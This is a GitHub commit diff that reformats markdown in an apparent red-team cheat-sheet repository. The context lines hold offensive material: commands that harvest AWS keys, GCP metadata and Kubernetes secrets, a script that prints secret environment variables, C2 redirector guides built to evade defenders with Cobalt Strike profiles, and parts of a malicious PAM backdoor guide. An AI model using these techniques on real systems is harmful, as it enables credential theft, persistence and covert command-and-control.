Skip to content

Commit 5775348

Browse files
authored
Merge pull request #9 from RoseSecurity/add-pre-commit-hooks
style(docs): improve markdown consistency and formatting
2 parents a6e43b2 + 8728c5d commit 5775348

16 files changed

Lines changed: 428 additions & 406 deletions

.pre-commit-config.yaml

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
repos:
2+
- repo: https://github.com/pre-commit/pre-commit-hooks
3+
rev: v5.0.0
4+
hooks:
5+
# Common errors
6+
- id: trailing-whitespace # trims trailing whitespace.
7+
args: [--markdown-linebreak-ext=md]
8+
- id: mixed-line-ending
9+
10+
- repo: https://github.com/igorshubovych/markdownlint-cli
11+
rev: v0.47.0
12+
hooks:
13+
- id: markdownlint

Cloud.md

Lines changed: 33 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ inurl:pastebin "AWS_ACCESS_KEY"
3333
Recursively searching for AWS Access Keys on *Nix containers
3434

3535
```bash
36-
$ grep -ER "AKIA[A-Z0-9]{16}|ASIA[A-Z0-9]{16}" /
36+
grep -ER "AKIA[A-Z0-9]{16}|ASIA[A-Z0-9]{16}" /
3737
```
3838

3939
S3 Log Google Dorking
@@ -311,18 +311,18 @@ main() {
311311
ip_only_file="ip_addresses.txt"
312312
: > "$output_file"
313313
: > "$ip_only_file"
314-
314+
315315
# Get the list of all projects
316316
projects=$(list_all_projects)
317317
for project in $projects; do
318318
echo "Processing Project: $project"
319-
319+
320320
# Check if Resource Manager API is enabled for the project
321321
if [[ -z "$(is_api_enabled "$project" "cloudresourcemanager.googleapis.com")" ]]; then
322322
echo "Resource Manager API is not enabled for project $project. Skipping..."
323323
continue
324324
fi
325-
325+
326326
# Check if Compute Engine API is enabled for the project
327327
if [[ -z "$(is_api_enabled "$project" "compute.googleapis.com")" ]]; then
328328
echo "Compute Engine API is not enabled for project $project. Skipping..."
@@ -342,7 +342,7 @@ main() {
342342
instance_name=$(_jq '.name')
343343
zone=$(_jq '.zone' | awk -F/ '{print $NF}')
344344
public_ips=$(_jq '.networkInterfaces[].accessConfigs[]?.natIP')
345-
345+
346346
# Check if there is a public IP and write to the output files
347347
if [[ -n "$public_ips" ]]; then
348348
for ip in $public_ips; do
@@ -402,7 +402,7 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
402402
# User data
403403
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
404404
# Network Interfaces
405-
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
405+
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
406406
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
407407
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
408408
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
@@ -411,7 +411,7 @@ for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeM
411411
echo " ============== "
412412
done
413413
# Service Accounts
414-
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
414+
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
415415
echo " Name: $sa"
416416
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
417417
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
@@ -493,7 +493,7 @@ for domain in tqdm(domain_names, desc="Checking for subdomain takeovers"):
493493
## Kubernetes Secrets Harvesting
494494

495495
```bash
496-
$ curl -k -v -H “Authorization: Bearer <jwt_token>” -H “Content-Type: application/json” https://<master_ip>:6443/api/v1/namespaces/default/secrets | jq -r ‘.items[].data’
496+
curl -k -v -H “Authorization: Bearer <jwt_token>” -H “Content-Type: application/json” https://<master_ip>:6443/api/v1/namespaces/default/secrets | jq -r ‘.items[].data’
497497
```
498498

499499
## Kubernetes Service Enumeration
@@ -521,34 +521,34 @@ kubectl get pods
521521
kubectl describe pod <pod-name>
522522

523523
# Create a new pod.
524-
kubectl create pod <pod-name>
524+
kubectl create pod <pod-name>
525525

526526
# List all nodes in the cluster.
527-
kubectl get nodes
527+
kubectl get nodes
528528

529529
# Get detailed information about a node.
530-
kubectl describe node <node-name>
530+
kubectl describe node <node-name>
531531

532532
# Create a new node
533-
kubectl create node <node-name>
533+
kubectl create node <node-name>
534534

535535
# List all services in the cluster.
536-
kubectl get services
536+
kubectl get services
537537

538538
# Get detailed information about a service.
539-
kubectl describe service <service-name>
539+
kubectl describe service <service-name>
540540

541541
# Create a new service.
542-
kubectl create service <service-name>
542+
kubectl create service <service-name>
543543

544544
# List all secrets in the cluster.
545-
kubectl get secrets
545+
kubectl get secrets
546546

547547
# Get detailed information about a secret.
548-
kubectl describe secret <secret-name>
548+
kubectl describe secret <secret-name>
549549

550550
# Create a new secret.
551-
kubectl create secret <secret-name>
551+
kubectl create secret <secret-name>
552552
```
553553

554554
## Password Hunting Regex
@@ -609,24 +609,24 @@ A sample script that enumerates environment variables. This script pairs well wi
609609
package main
610610

611611
import (
612-
"fmt"
613-
"os"
614-
"strings"
612+
"fmt"
613+
"os"
614+
"strings"
615615
)
616616

617617
func main() {
618-
sensitiveKeywords := []string{"password", "secret", "key", "token", "api", "auth", "credential"}
619-
620-
envVars := os.Environ()
621-
for _, e := range envVars {
622-
envLower := strings.ToLower(e)
623-
for _, keyword := range sensitiveKeywords {
624-
if strings.Contains(envLower, keyword) {
625-
fmt.Printf("SENSITIVE: %s\n", e)
626-
break
627-
}
628-
}
629-
}
618+
sensitiveKeywords := []string{"password", "secret", "key", "token", "api", "auth", "credential"}
619+
620+
envVars := os.Environ()
621+
for _, e := range envVars {
622+
envLower := strings.ToLower(e)
623+
for _, keyword := range sensitiveKeywords {
624+
if strings.Contains(envLower, keyword) {
625+
fmt.Printf("SENSITIVE: %s\n", e)
626+
break
627+
}
628+
}
629+
}
630630
}
631631
```
632632

Guides/AzureStaticWebApplicationC2Redirectors.md

Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,24 @@
1-
# Transforming Azure Static Web Applications into C2 Redirectors:
1+
# Transforming Azure Static Web Applications into C2 Redirectors
22

3-
## Creative C2 Redirection:
3+
## Creative C2 Redirection
44

55
This year, I have challenged myself to engineer creative solutions for command-and-control (C2) server redirection. A redirector is a server that sits between your malware controller and the target network. When conducting an engagement, it's crucial to protect offensive infrastructure from detection by defenders. Leveraging cloud features to make network traffic look legitimate aids in evading intrusion detection systems and can lead to successful completion of offensive operations.
66

77
My introduction to developing redirectors started with a basic Apache web server passing HTTP and HTTPS traffic to C2 servers utilizing `mod_rewrite`, a way to conditionally redirect requests to another URL on the fly. However, seeking a stealthier approach, I utilized AWS's Content Delivery Network (CDN) known as CloudFront. By leveraging Amazon's valid certificates and the fact that each domain was allow-listed within the organization, I achieved the desired result: stealth. This began my journey to discovering other methods of masking and redirection to bypass and evade defensive controls.
88

9-
I was aware that Azure provided similar CDN features, but this approach required a valid domain origin for redirection. What if a down-and-dirty pentester wanted to redirect to a static IP address? That's when I dove into the world of Azure static web applications.
9+
I was aware that Azure provided similar CDN features, but this approach required a valid domain origin for redirection. What if a down-and-dirty pentester wanted to redirect to a static IP address? That's when I dove into the world of Azure static web applications.
1010

1111
---
1212

13-
## Creating Static Web Applications:
13+
## Creating Static Web Applications
1414

1515
To create a static web application in Azure, simply navigate to the Azure Portal, select _Create a Resource_, search for _Static Web App_, and create!
1616

1717
![Static Web Application Creation](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5idppjxu7eyj9e60uoeo.png)
1818

1919
---
2020

21-
## Building the Static Web Application Code:
21+
## Building the Static Web Application Code
2222

2323
Before configuring your static web application, you will need to create a GitHub repository to host the code. I simply named mine _StaticWebRedirector_ and created two files in the repository. The first is the HTML index file that will be referenced if the target is not redirected. To safeguard offensive infrastructure from effective defenders and web crawlers, it is crucial to establish criteria for redirection. This can involve specifying a particular URL that the targeted device is attempting to access or defining a specific User-Agent string as conditions for the redirection process. Within your `index.html` file, create a legitimate-looking site to not raise suspicion if the website is crawled or accessed by network defenders. Secondly, create a separate file named `staticwebapp.config.json` and add the following code to it.
2424

@@ -28,16 +28,15 @@ The `staticwebapp.config.json` configuration file defines a _route_, which is th
2828

2929
---
3030

31-
## Configuring the Web Application:
31+
## Configuring the Web Application
3232

3333
To configure the Azure static web application, you need to provide details like the subscription, resource group, name, region, and source code repository. You will also be required to authenticate to the GitHub account of the repository where the code is hosted. In addition, you have the option to configure the build settings, such as using build presets or specifying a custom build command if required. I did not utilize any of these features, but they are available. Finally, you can click on "Review + Create" to review all the provided settings and then click "Create" to initiate the creation of the static web app redirector.
3434

35-
3635
![Configuring Static Web App](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1t04d7r7hd97zwld2gyf.png)
3736

3837
---
3938

40-
## Customizing the C2 Profile:
39+
## Customizing the C2 Profile
4140

4241
To effectively utilize this technique, your malware, implants, and payloads need to call back to the web application's URL. For example, if you are using Cobalt Strike, copy the `azurestaticapp` URL into your malleable profile. The URL can be found on the redirector's _Overview_ tab.
4342

@@ -66,8 +65,8 @@ http-get {
6665
}
6766
```
6867

69-
Compile your payloads and launch away!
68+
Compile your payloads and launch away!
7069

7170
---
7271

73-
I hope this simple demonstration was useful and you learned something new. There are many creative ways to evade defensive controls, and if you would like to learn more, feel free to check out my GitHub at: https://github.com/RoseSecurity
72+
I hope this simple demonstration was useful and you learned something new. There are many creative ways to evade defensive controls, and if you would like to learn more, feel free to check out my GitHub at: <https://github.com/RoseSecurity>

Guides/CloudFrontingThroughFirewallsandHidinginPlainPCAP.md

Lines changed: 11 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,10 @@
11
# Creative C2 Obfuscation - CloudFronting Through Firewalls and Hiding in Plain PCAP
22

3-
## What is CloudFronting:
3+
## What is CloudFronting
44

5+
AWS CloudFront enhances obfuscation of Command and Control (C2) Infrastructure by seamlessly integrating beacon callbacks into Content Delivery Network (CDN) traffic. A CDN functions as a network of strategically distributed proxy servers across various locations, ensuring optimal performance and availability while delivering data to clients. Consequently, CloudFronting poses a significant challenge for defensive security analysts, as it evades suspicion and defies blacklisting efforts. Notably, CloudFront, the integrated CDN offered by AWS, stands out as an ideal choice due to its scalability, advanced features, and the convenience it offers red teamers by minimizing the need to leave the AWS Console for infrastructure configuration changes.
56

6-
AWS CloudFront enhances obfuscation of Command and Control (C2) Infrastructure by seamlessly integrating beacon callbacks into Content Delivery Network (CDN) traffic. A CDN functions as a network of strategically distributed proxy servers across various locations, ensuring optimal performance and availability while delivering data to clients. Consequently, CloudFronting poses a significant challenge for defensive security analysts, as it evades suspicion and defies blacklisting efforts. Notably, CloudFront, the integrated CDN offered by AWS, stands out as an ideal choice due to its scalability, advanced features, and the convenience it offers red teamers by minimizing the need to leave the AWS Console for infrastructure configuration changes.
7-
8-
## Setup and Configuration:
7+
## Setup and Configuration
98

109
![Create Distro](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/llp52x56cmlsc4jgrvgy.jpg)
1110

@@ -27,11 +26,10 @@ After selecting the appropriate settings for the domain, create the distribution
2726

2827
![Distro](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bm4c9jg763dbelolfgg9.jpg)
2928

30-
## C2 Profile:
29+
## C2 Profile
3130

3231
To effectively utilize this technique, your malware, implants, and payloads need to call back to the CloudFront domain. For example, if you are using Cobalt Strike, copy the distribution domain into your malleable profile; you can add this in the `host` header. Below is an example from threatexpress' jquery-c2.4.7 profile:
3332

34-
3533
```
3634
http-post {
3735
@@ -44,13 +42,13 @@ http-post {
4442
header "Host" "dgwduytwaq0ei.cloudfront.net";
4543
header "Referer" "http://code.jquery.com/";
4644
header "Accept-Encoding" "gzip, deflate";
47-
45+
4846
id {
49-
mask;
47+
mask;
5048
base64url;
51-
parameter "__cfduid";
49+
parameter "__cfduid";
5250
}
53-
51+
5452
output {
5553
mask;
5654
base64url;
@@ -59,7 +57,7 @@ http-post {
5957
}
6058
```
6159

62-
## Automating Deployments with Terraform:
60+
## Automating Deployments with Terraform
6361

6462
Terraform is an open-source infrastructure as code (IaC) tool that enables users to define and provision infrastructure resources in a declarative manner. It allows organizations to automate the creation, management, and versioning of their infrastructure using a simple and consistent workflow. Terraform allows red teams to define and provision the necessary infrastructure resources on demand, ensuring consistency and repeatability. By leveraging Terraform, red teams can easily spin up and tear down environments, deploy and configure systems, and simulate attack scenarios in a controlled manner. This helps red teams streamline their operations, save time, and maintain a standardized approach to infrastructure deployment during red teaming exercises.
6563

@@ -109,7 +107,7 @@ resource "aws_cloudfront_distribution" "redirector-cf" {
109107
restrictions {
110108
geo_restriction {
111109
restriction_type = "none"
112-
locations = []
110+
locations = []
113111
}
114112
}
115113
@@ -131,4 +129,4 @@ terraform init
131129
terraform apply
132130
```
133131

134-
I hope this simple demonstration was useful and you learned something new. There are many creative ways to evade defensive controls, and if you would like to learn more, feel free to check out my GitHub at: https://github.com/RoseSecurity
132+
I hope this simple demonstration was useful and you learned something new. There are many creative ways to evade defensive controls, and if you would like to learn more, feel free to check out my GitHub at: <https://github.com/RoseSecurity>

Guides/CraftingMaliciousPluggableAuthenticationModules.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -122,7 +122,7 @@ ld -x --shared -o /usr/lib/x86_64-linux-gnu/security/pam_su.so pam_su.o
122122
Now that the binary is created and linked, we will edit the PAM configuration file `/etc/pam.d/common-auth` to include our malicious module. This specific file is used to define authentication-related PAM modules and settings that are common across multiple services, whether this be SSH, LDAP, or even VNC. Instead of duplicating authentication configurations in each individual service file, administrators centralize common authentication settings in this file.
123123

124124
```console
125-
root@salsa:~# vim /etc/pam.d/common-auth
125+
root@salsa:~# vim /etc/pam.d/common-auth
126126

127127
#
128128
# /etc/pam.d/common-auth - authentication settings common to all services
@@ -158,7 +158,7 @@ Within this file, we can inconspicuously add our optional authentication module
158158

159159
```console
160160
~ ssh sysadmin@10.0.0.104
161-
sysadmin@10.0.0.104's password:
161+
sysadmin@10.0.0.104's password:
162162
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-37-generic x86_64)
163163

164164
* Documentation: https://help.ubuntu.com

Guides/Enum_AzureSubdomains/README.md

Lines changed: 8 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
Microsoft makes use of a number of different domains and subdomains for each of their Azure services. From SQL databases to SharePoint drives, each service maps to its respective domain/subdomain, and with the proper toolset, these can be identified through DNS enumeration to yield information about the target domain's infrastructure. ```enum_azuresubdomains.rb``` is a Metasploit module for enumerating public Azure services by validating legitimate subdomains through various DNS record queries. This cloud reconnaissance module rapidly identifies API services, storage accounts, key vaults, databases, and more! Expedite your cloud reconnaissance phases with ```enum_azuresubdomains.rb```.
88

9-
## Domains and Associated Services:
9+
## Domains and Associated Services
1010

1111
| Domain | Associated Service |
1212
| --- | --- |
@@ -31,18 +31,18 @@ Microsoft makes use of a number of different domains and subdomains for each of
3131

3232
***NOTE: Enumerating existing Azure subdomains may be handy for anyone looking to conduct subdomain takeovers. Subdomain takeovers are typically done the other way around (finding a domain that’s no longer registered or in use), but by preemptively discovering the domains, and keeping tabs on them for later, you may be able to monitor for potential subdomain takeovers.***
3333

34-
# Demo:
34+
# Demo
3535

36-
https://github.com/user-attachments/assets/ffe508b6-a146-454d-b453-96b9d59b7e27
36+
<https://github.com/user-attachments/assets/ffe508b6-a146-454d-b453-96b9d59b7e27>
3737

38-
# Install:
38+
# Install
3939

4040
Download repository:
4141

4242
```
43-
$ mkdir Enum_AzureSubdomains
44-
$ cd Enum_AzureSubdomains/
45-
$ sudo git clone https://github.com/RoseSecurity/Enum_AzureSubdomains.git
43+
mkdir Enum_AzureSubdomains
44+
cd Enum_AzureSubdomains/
45+
sudo git clone https://github.com/RoseSecurity/Enum_AzureSubdomains.git
4646
```
4747

4848
Usage:
@@ -68,6 +68,5 @@ msf6> use auxiliary/gather/enum_azuresubdomains
6868
If you encounter any errors, check the following log:
6969

7070
```
71-
$ tail ~/.msf4/logs/framework.log
71+
tail ~/.msf4/logs/framework.log
7272
```
73-

Guides/Enum_AzureSubdomains/msf.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,13 @@
11
## Introduction
2+
23
Microsoft makes use of a number of different domains and subdomains for each of their Azure services. From SQL databases to SharePoint drives, each service maps to its respective domain/subdomain, and these can be identified through DNS enumeration to yield information about the target domain's infrastructure. ```enum_azuresubdomains.rb``` is a Metasploit module for enumerating public Azure services by validating legitimate subdomains through various DNS record queries. This cloud reconnaissance module identifies API services, storage accounts, key vaults, and databases.
34

45
## Verification Steps
56

67
1. Start `msfconsole`
78
2. Do: `use auxiliary/gather/enum_azuresubdomains`
89
3. Do: `set DOMAIN <Target Domain>`
9-
5. Do: `run`
10+
4. Do: `run`
1011

1112
## Options
1213

@@ -18,7 +19,6 @@ Microsoft makes use of a number of different domains and subdomains for each of
1819

1920
This appends and prepends permutated keywords to identify common domain name variations.
2021

21-
2222
## Scenarios
2323

2424
Running the module against a real system (in this case, the University of Maryland's online Azure services):

0 commit comments

Comments
 (0)